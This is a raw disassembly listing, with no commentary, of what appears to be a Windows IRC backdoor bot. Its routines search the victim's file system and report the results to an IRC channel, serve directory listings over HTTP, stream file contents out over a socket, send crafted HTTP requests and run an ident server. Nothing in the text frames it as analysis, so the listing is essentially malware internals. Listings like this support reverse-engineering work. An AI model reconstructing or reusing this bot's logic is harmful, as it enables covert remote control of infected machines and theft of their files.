		cmp	[ebp+arg_C], edi
		jz	short loc_410261
		lea	eax, [ebp+var_314]
		push	offset asc_434C78 ; "*"
		push	eax
		call	sub_41C8A0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410AAE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C266
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4102BC
; ---------------------------------------------------------------------------


loc_410261:				; CODE XREF: sub_4100B4+152j
		push	ebx


loc_410262:				; CODE XREF: sub_4100B4+126j
		call	dword_4CBA6C
		jmp	loc_410364
; ---------------------------------------------------------------------------


loc_41026D:				; CODE XREF: sub_4100B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 27107C1h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4102BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2740AF5h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 26608D5h


loc_4102BC:				; CODE XREF: sub_4100B4+1ABj
					; sub_4100B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434C44
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E914[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FF31
		push	edi
		push	edi
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_410336


loc_410324:				; CODE XREF: sub_4100B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_410364
		push	5
		call	near ptr 2670E97h
		nop
		jmp	short loc_410324
; ---------------------------------------------------------------------------


loc_410336:				; CODE XREF: sub_4100B4+26Ej
		push	ebx
		call	dword_4CBA6C
		call	near ptr 2680972h
		nop
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434C0C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410364:				; CODE XREF: sub_4100B4+1B4j
					; sub_4100B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4100B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41036B	proc near		; CODE XREF: sub_401ACD+75E3p
					; sub_40FF31+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41CAD4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4103CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_4104C9
; ---------------------------------------------------------------------------


loc_4103CA:				; CODE XREF: sub_41036B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4104AF
		call	sub_41B9C0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		call	sub_41B9C0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_41036B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4104C9:				; CODE XREF: sub_41036B+5Aj
					; sub_41036B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_C], ebx
		jz	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		sub	eax, 3
		pop	ecx
		jz	short loc_410515


loc_410509:				; CODE XREF: sub_41036B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410515
		dec	eax
		jnz	short loc_410509


loc_410515:				; CODE XREF: sub_41036B+19Cj
					; sub_41036B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_410564:				; CODE XREF: sub_41036B+180j
					; sub_41036B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 2770000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jz	loc_410954
		mov	edi, 1FFh


loc_410590:				; CODE XREF: sub_41036B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 275064Ch
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2750000h
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_410605
		mov	ecx, offset aAm	; "AM"


loc_410605:				; CODE XREF: sub_41036B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410611
		sub	eax, 0Ch


loc_410611:				; CODE XREF: sub_41036B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C266
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4107B4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410685
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_4108FD
; ---------------------------------------------------------------------------


loc_410685:				; CODE XREF: sub_41036B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_41076F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410725
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_41072A
; ---------------------------------------------------------------------------


loc_410725:				; CODE XREF: sub_41036B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_41072A:				; CODE XREF: sub_41036B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108FE
; ---------------------------------------------------------------------------


loc_41076F:				; CODE XREF: sub_41036B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107B4:				; CODE XREF: sub_41036B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107F3
		push	ebx
		push	[ebp+var_368]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4107DF:				; CODE XREF: sub_41036B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107F3:				; CODE XREF: sub_41036B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_4108E7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429AC8
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410893
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410898
; ---------------------------------------------------------------------------


loc_410893:				; CODE XREF: sub_41036B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_410898:				; CODE XREF: sub_41036B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4107DF
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: sub_41036B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_4108FD:				; CODE XREF: sub_41036B+315j
		push	esi


loc_4108FE:				; CODE XREF: sub_41036B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 18h


loc_41090D:				; CODE XREF: sub_41036B+444j
					; sub_41036B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_8], ebx
		jz	short loc_41093C
		push	7D0h
		nop
		call	near ptr 2670E97h


loc_41093C:				; CODE XREF: sub_41036B+22Bj
					; sub_41036B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2760000h
		test	eax, eax
		jnz	loc_410590


loc_410954:				; CODE XREF: sub_41036B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_410997
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_41036B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4109B1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_4109B1:				; CODE XREF: sub_41036B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_4109CB:				; CODE XREF: sub_41036B+62Aj
					; sub_41036B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41036B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109F1	proc near		; CODE XREF: sub_40FF31+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 27107C1h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410AA9
		push	esi
		push	ebx
		call	near ptr 2740AF5h
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410AA2


loc_410A36:				; CODE XREF: sub_4109F1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A53
		mov	edi, [ebp+arg_4]


loc_410A53:				; CODE XREF: sub_4109F1+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 27711CFh
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 26F107Dh
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A9D
		call	dword_4CB968
		cmp	eax, 2733h
		jnz	short loc_410AA2
		xor	eax, eax


loc_410A9D:				; CODE XREF: sub_4109F1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410A36


loc_410AA2:				; CODE XREF: sub_4109F1+43j
					; sub_4109F1+A8j
		push	ebx
		call	near ptr 26608D5h
		nop


loc_410AA9:				; CODE XREF: sub_4109F1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AAE	proc near		; CODE XREF: sub_4100B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_410AD7


loc_410AC1:				; CODE XREF: sub_410AAE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410ACB
		mov	byte ptr [esi+edi], 2Fh


loc_410ACB:				; CODE XREF: sub_410AAE+17j
		push	edi
		inc	esi
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410AC1


loc_410AD7:				; CODE XREF: sub_410AAE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ADC	proc near		; CODE XREF: sub_401ACD+51B7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB944
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB9D4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BB9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B55
		mov	eax, offset byte_43DB88


loc_410B55:				; CODE XREF: sub_410ADC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		pop	esi


loc_410BB9:				; CODE XREF: sub_410ADC+6Bj
		push	ebx
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BF9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_410BF9:				; CODE XREF: sub_410ADC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410ADC	endp

; ---------------------------------------------------------------------------


loc_410BFD:				; DATA XREF: ___:00401666o
					; sub_401ACD+438Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D61
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E91C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		push	5
		push	ebx
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410C88:				; CODE XREF: ___:00410CE7j
					; ___:00410D4Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_410D5C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435164
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C88
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_4184CC
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41BF70
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C88
		mov	dword ptr [ebp-8], 1
		jmp	loc_410C88
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: ___:00410C9Dj
		cmp	[ebp-8], esi
		jnz	short loc_410D88


loc_410D61:				; CODE XREF: ___:00410C44j
					; ___:00410C68j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435120
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410D88:				; CODE XREF: ___:00410D5Fj
		push	ebx
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_410DAB:				; DATA XREF: sub_401ACD+605Do
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410F17
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E91C[ecx], eax
		call	dword_4CB8E4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA00
		test	eax, eax
		jnz	loc_410F17
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB9FC
		test	eax, eax
		jnz	loc_410F17


loc_410E5B:				; CODE XREF: ___:00410E71j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA68
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E5B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4351CC
		push	eax
